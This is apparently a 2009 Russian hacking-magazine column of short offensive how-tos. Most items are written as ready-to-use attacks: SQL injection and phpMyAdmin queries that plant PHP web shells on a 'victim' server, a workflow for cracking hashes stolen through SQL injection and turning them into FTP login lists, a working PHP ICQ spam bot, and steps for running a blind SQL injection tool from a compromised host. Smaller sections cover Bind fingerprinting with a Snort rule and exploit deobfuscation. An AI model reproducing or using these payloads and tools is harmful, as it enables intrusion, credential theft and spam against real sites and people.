Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 124, АПРЕЛЬ 2009 г.

EasyHack

Леонид «R0id» Стройков (r0id@mail.ru), Андрей «Skvoz» Комаров (komarov@itdefence.ru), x0wl (x0wl.x0wl@gmail.com)

Задача: Залить шелл средствами MySQL

Решение

1. Ищем на Web-сервере директории, доступные для записи. Заветный каталог может присутствовать в этом списке:

/templates_compiled/
/templates_c/
/templates/
/temporary/
/images/
/cache/
/temp/
/files/

2. Учитывая, что мы уже подобрали колонки (допустим, их будет 4), выполняем запрос:

UNION SELECT "<? system($_REQUEST['cmd']); ?>",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --

3. Пользуемся шеллом по адресу http://victim.com/temp/c.php.

Задача: Залить шелл средствами PhpMyAdmin

Решение

1. Каким-либо образом получаем доступ к PhpMyAdmin.

2. Для эстетики и удобства создаем новую базу:

CREATE DATABASE 'backdoor'

3. Ищем установочный путь базы

SELECT @@datadir

> C:AppServMySQLdata

4. Выполняем запрос на создание таблицы:

CREATE TABLE backdoor(
Stack TEXT
) TYPE=MYISaM;
INSERT INTO backdoor(Stack)
VALUES(
'<pre><body bgcolor=silver<? @system($_REQUEST["v"]); ?></body></pre>

5. Отдаем команду на дамп содержимого таблицы в файл

SELECT * into dumpfile 'C:AppServwwws.php' from backdoor;

6. Получаем шелл по адресу victim.com/s.php?v=команда

Задача: Отличить Bind 8 от Bind 9, учитывая, что администратор удалил параметр версии в конфигурационных файлах демона

Решение

Принципиальное отличие – в Bind 9 (начиная с версии 9.1.0) появилась специальная служебная CHAOS-запись «authors». Для проверки этого параметра можно использовать штатные средства операционной системы.

1. linux/freebsd

dig ns.example.com authors.bind chaos txt

2. windows/linux/freebsd

% nslookup -q=txt -class=CHAOS authors.bind. ns.example.com
Server: ns.example.com
Address: 23.23.23.23

authors.bind text = "Bob Halley"
authors.bind text = "Mark Andrews"
authors.bind text = "James Brister"
authors.bind text = "Michael Graff"
authors.bind text = "David Lawrence"
authors.bind text = "Michael Sawyer"
authors.bind text = "Brian Wellington"
authors.bind text = "Andreas Gustafsson"

3. Получен ответ с «пасхальным яйцом» от разработчиков – следовательно, перед нами девятая ветка! Чтобы выявить и предотвратить такое обнаружение, администратор может предпринять следующую сигнатуру:

alert UDP $EXTERNAL any -> $INTERNAL 53 (msg: "IDS480/named-probe-authors";
content: "|07|authors|04|bind"; depth: 32; offset: 12; nocase;)

В ней содержится синтаксис для мониторинга UDP-транспорта по 53 порту, по содержанию, приведенному в тексте запроса, с заданной глубиной поиска.

Задача: Расшифровать обфусцированный эксплоит

Решение

Задача особенно актуальна, потому что таким макаром можно охотиться за новыми образцами сплоитов. В этом плане очень пригодится тулза под названием Malzilla (malzilla.sourceforge.net). Она содержит в себе десятки алгоритмов для дешифровки, среди которых unescape-последовательность, UCS2-кодировка JS и так далее. Итак, порядок действий:

  1. Копируем все вредоносное шифрованное содержимое на вкладку «Download».
  2. Жмем «Send script to Decoder», затем «Run script».
  3. В ответ получаем дешифрованный (или почти дешифрованный) сегментами сорец и линк на подгрузку файла.
  4. Если сделать это в один клик не получилось, играемся с «Misc decoders».

Ресурсы, отслеживающие malware-активность онлайн: malwaredomainlist.com, zeustracker.abuse.ch.

Задача: Отпарсить данные из PasswordPro для использования в FTP-чекере

Решение

Для брута самых разнообразных хешей часто приходится использовать популярную утилу PasswordPro. Прога довольно удобна и отменно работает на забугорных ломанных дедиках :). Проблема лишь в том, что каждый раз парсить вручную результаты брута – уж очень утомительно. Представь, что ты нашел SQL-инъекцию на крупном портале, слил имена и хеши MySQL-юзеров и отправил их на брут в PasswordPro. Брутер с задачей справился, пассы найдены, и было бы неплохо попробовать их на FTP. Вот тут и появляется много лишней работы, а именно - преобразование сбрученных данных из PasswordPro вида «admin:5ba686200919b19f:narym7» в стандартный формат фтп-чекеров вида «ftp://admin:narym7@127.0.0.1». Конечно, можно не полениться и накатать собственный парсер, но зачем изобретать велосипед? Итак, поехали:

1. Первое, что нам нужно сделать, – слить уже готовый парсер «Small parser for passwordpro» от evil_packman'а с нашего DVD :).

2. Теперь экспортируем уже сбрученные акки из PasswordPro в файл first.txt, например:

admin:5ba686200919b19f:narym7
news:5ba686200919b19f:wens6
root:5ba686200919b19f:sawbdv
swin:5ba686200919b19f:zasut4
web:5ba686200919b19f:nfgavr

3. Вспоминаем, установлен ли у нас PHP. Если нет - срочно идем на Гугл и качаем (еще пригодится:)).

4. Созданный ранее файл first.txt (с акками из брутера) кладем в одной директории с парсером. Запускаем скрипт:

C:phpphp C:parser.php first.txt out.txt 127.0.0.1,

– где first.txt - файл с данными из PasswordPro, out.txt - файл с отпарсенными аккаунтами, а 127.0.0.1 - IP ftp-сервера.

5. На выходе рядом с парсером обнаруживаем файл out.txt следующего содержания:

ftp://admin:narym7@127.0.0.1
ftp://news:wens6@127.0.0.1
ftp://root:sawbdv@127.0.0.1
ftp://swin:zasut4@127.0.0.1
ftp://web:nfgavr@127.0.0.1

Все, теперь берем любой функциональный фтп-чекер и проверяем аккаунты к FTP.

Задача: Написать ICQ-спамер на PHP

Решение

ICQ-спам становится все более актуальным. Это сложно не заметить, особенно, если тебе в асю ежедневно прилетает с десяток сообщений рекламного характера. Большинство качественных продуктов для подобных рассылок стоит денег, поэтому возникает вопрос: а не написать ли простенькую спамилку собственноручно? Например, на всеми нами любимом PHP. Думаешь, нереально? Ошибаешься, и сейчас я тебе это докажу:

1. В своих начинаниях мы будем использовать специальный класс WebIcqLite.class.php, который ты сможешь найти на нашем DVD.

2. Для успешного использования всех функций класса следует приинклудить оный в нашем скрипте –

include('WebIcqLite.class.php');

3. В общем виде, в качестве примера рассмотрим скрипт от Pashkela:

<?php
@set_time_limit(0);
@ini_set("display_errors","1");
ignore_user_abort(1);

include('WebIcqLite.class.php');

$ini = parse_ini_file("icq.ini");

$uin = $ini[uin]; // UIN для бота
$pass = $ini[pass]; // Пароль для UIN бота
$file_uin = $ini[file_uin]; // Файл, где список рассылки
$message = $ini[message]; // Сообщение
$pause = $ini[pause]; // пауза между сообщениями

define('UIN', $uin);
define('PASSWORD', $pass);

$icq = new WebIcqLite();
if(!$icq->connect(UIN, PASSWORD)) {
echo $icq->error;
exit();
}
$file = fopen($file_uin,'r');
while (!feof($file)) {
$buffer = trim(fgets($file));
$icq->send_message($buffer, $message);
echo "Message sent to $buffer n";
flush();
sleep($pause);
}

$icq->disconnect();
exit();
?>

4. В файле icq.ini располагаются данные по уинам:

uin = 123456 ; UIN, с которого рассылаем
pass = 1234 ; Пароль для UIN, с которого рассылаем
file_uin = uin.txt ; Файл со списком UIN для рассылки
message = test, do not reply this message, bot-test ; Собственно, сама мессага для отсылки
pause = 2 ; Пауза между каждым сообщением, чтобы нас не забанили (в секундах)

5. А в файле uin.txt лежит список уинов, по которым будет проводиться рассылка. Как видишь, все достаточно просто. Тебе остается лишь изменить сорец на свое усмотрение либо накодить новый :).

Задача: Автоматизировать работу с Blind SQL-Injections

Решение

Как ты уже знаешь, Blind SQL-Injections представляют собой слепые SQL-инъекции, работа с которыми максимально затруднена. Если конкретнее, то раскручивать подобные баги ручками - дело неблагодарное. Поэтому, идея автоматизации процесса возникла давно и была успешно реализована в нескольких проектах, одним из которых мы и воспользуемся. Использовать будем скрипт от товарища Grey'я, ибо утила специально заточена под работу со слепыми скул-инъектами и мускулом. Из полезных фич скрипта следует отметить:

  • Вывод стандартной информации: version(), user(), database(), при mysql >= 3 версии.
  • Подбор имен таблиц по встроенной базе имен либо по указанному словарю, при mysql >= 4.1 версии.
  • Подбор названий колонок к указанной таблице по встроенной базе имен колонок либо по указанному словарику, при mysql >= 4.1 версии.
  • Вывод результата указанного запроса, при mysql >= 4.1 версии.
  • Вывод содержимого указанного файла, при наличии соответствующих прав в mysql >= 3 версии.
  • Определение длины результата указанного запроса, особенно полезно при выводе части содержимого какого-либо файла, работает в mysql >= 4.1 версии.
  • Определение имен таблиц и имен БД, в которых они находятся с помощью information_schema.tables в mysql => 5 версии.
  • Определение имен колонок к указанной таблице, находящейся в указанной БД, с помощью information_schema.columns в mysql => 5 версии.
  • Сопоставление имен таблиц и имен БД, в которых они находятся с помощью information_schema.tables в mysql => 5 версии.
  • Поиск данных в файлах; по дефолту из файлов выделяются такие данные, как:
    • переменные, которые могут содержать пароль;
    • переменные, которые могут содержать данные для подключения к СУБД.
    • Вывод стандартной информации в PostgreSQL: version(), current_user(), current_database().
    • Подбор имен таблиц в PostgreSQL.

Теперь рассмотрим алгоритм действий по установке, настройке и запуску утилы:

1. Сливаем архив с тулзой с нашего DVD.

2. Распаковываем архив, проверяем содержимое:

  • main.php - сам скрипт
  • config.php - файл с настройками скрипта
  • lib_and_data/grey_data.php - стандартный словарик с именами таблиц и колонок
  • lib_and_data/function.php - библиотека функций для работы со слепыми sql-инъекциями
  • dic/grey_table_name.txt - стандартный словарик с именами таблиц
  • dic/grey_field_name.txt - дефолтовый словарь с именами колонок

3. Заливаем все вышеперечисленные файлы на наш (или не совсем наш) хост.

4. Выставляем чмод на запись для каталога, в котором находятся скрипты config.php и main.php.

5. Отредактируем config.php. Особое внимание надо уделить основным параметрам:

$host = ''; // Адрес сайта
$port = ; // Порт
$path = ''; // Путь до уязвимого скрипта (начиная с '/')
$vars = ""; // Переменные (или содержимое КУКОВ, если sql инъекция в КУКАХ): вначале неуязвимые переменные с их значениями,
// а затем, в конце, уязвимая переменная, вместе с существующим значением, МОЖЕШЬ указать кавычку, если она нужна
$strend = ''; // Символ комментария ('--+', '/*', '#'), если нужен
$method = ; // (цифра): метод отправки данных
// 0 - POST; инъекция в переменной типа POST
// 1 - GET; инъекция в переменной типа GET
// 2 - GET/COOKIE; инъекция в COOKIE
$type = ; // (0 или 1): тип распознания правильности выполнения sql-запроса:
// 0 - правильность запроса определяется по наличию текста, который должен появляться только при указанном значении уязвимой переменной
// 1 - правильность запроса определяется по отсутствию текста (текста ошибки), которая должна появляться при неправильном выполнении запроса
$text = ''; // Текст, по которому будет определяться правильность выполнения запроса

6. Перейди в браузере по линку http://хост/каталог/main.php.

7. Ждем 30 секунду, при отсутствии каких-либо ошибок - закрываем браузер и надеемся на лучшее.

8. Через несколько часов смотрим результат в файле result.txt.

Кстати! Помни, что время работы скрипта напрямую зависит от ширины канала твоего сервера, а также от нагрузки на атакуемую СУБД.

Задача: Сохранить программу, показываемую по ОРТ

Решение

У всех, кто смотрит передачи на «Первом канале», наверняка, бывает желание сохранить что-нибудь из их репертуара. Но не все знают, что ОРТ выкладывают видео на своем сайте в виде online-flv. Чтобы его сохранить, можно прибегнуть к двум способам:

  1. Воспользоваться сервисом ru.savefrom.net. Это очень просто, поэтому не буду углубляться в подробности.
  2. Вручную. Для этого открываем HTML-код страницы с видео и находим место вставки плеера.
  3. Копируем URL к видео и переходим на него.
  4. Смотрим на адресную строку и видим, что параметром к ней выступает ссылка на файл настроек, передаваемая через адресную строку. Прочитаем этот файл и найдем там нужный URL к flv-файлу.
Содержание
ttfb: 6.274938583374 ms